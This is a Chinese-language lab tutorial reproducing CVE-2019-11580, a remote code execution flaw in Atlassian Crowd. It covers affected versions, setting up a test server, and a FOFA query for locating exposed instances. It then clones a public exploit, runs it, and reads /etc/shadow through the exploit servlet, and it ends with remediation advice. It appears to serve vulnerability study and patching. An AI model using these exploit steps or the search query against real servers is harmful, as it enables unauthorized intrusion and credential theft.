Atlassian Crowd和Atlassian Crowd Data Center都是澳大利亚Atlassian公司的产品Atlassian Crowd是一套基于Web的单点登录系统。该系统为多用户、网络应用程序和目录服务器提供验证、授权等功能。Atlassian Crowd Data Center是Crowd的集群部署版。AtlassianCrowd和Crowd Data Center在其某些发行版本中错误地启用了pdkinstal开发插件,使其存在安全漏洞。攻击者利用该漏洞可在未授权访问的情况下对Atlassian Crowd和Crowd DataCenter安装任意的恶意插件,执行任意代码/命令,从而获得服务器权限。其端口:8095
- 影响版本:
- 2.1.0 <= version < 3.0.5
- 3.1.0<= version < 3.1.6
- 3.2.0 <= version< 3.2.8
- 3.3.0 <= version< 3.3.5
- 3.4.0 <= version < 3.4.4
》》》环境搭建《《《
步骤一:准备一台Ubuntu虚拟机并执行以下命令下载搭建 Atlassian-crowd-3.4.3.#下载crowd3.4.3的版本,进行测试。
wget https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-3.4.3.zip
步骤二:搭建Java环境并查看JDK版本..
搭建Java环境
#sudo apt-get install openjdk-8-jdk
查看JDK版本#
Java -vesion
步骤三:解压缩文件并移动到指定位置.
# 解压缩文件
unzip atlassian-crowd-3.4.3.zip
# 移动文件atlassian-crowd-3.4.3到/var目录下
sudo cp-r atlassian-crowd-3.4.3 /var/
#到该目录下
cd /var/atlassian-crowd-3.4.3/crowd-webapp/WEB-INF/classes/
步骤四:修改配置文件并添加信息..
配置文件sudo vi crowd-init.properties
添加信息
crowd.home=/var/atlassian-crowd-3.4.3
开启服务#sudo sh start_crowd.sh
访问页面#http://192.168.116.132:8095/
步骤五:点击Set up Crowd需要申请key,复制Server ID;进入以下官网并点击New TrialLicense申请key...
步骤六:进去后,填写信息和上方复制的ServerID,会生成一个key,复制key..
步骤七:将上方的key,粘贴到下方license key中..点击continue进入如下页面,选择Embedded,点击continue...
步骤八:进入配置信息,无需修改,点击continue.点击continue,其中配置登录账号密码...点击 continue ,跳转到登录页面,输入刚才配置的账户密码..登录即可!
Fofa
title="Atlassian Crowd - Login'icon_hash="-1231308448'
》》》漏洞复现《《《
步骤一:下载攻击脚本到本地.
git clone https://github.com/jas502n/CVE-2019-11580
cd CVE-2019-11580/
步骤二:执行攻击命令并验证.
python2 CVE-2019-11580.py http://192.168.116.132:8095/
curl http://192.168.116.132:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow
》》》漏洞修复《《《
1.设置访问/crowd/admin/uploadplugin.action的源ip.
2.升级最新版本(3.5.0以上)。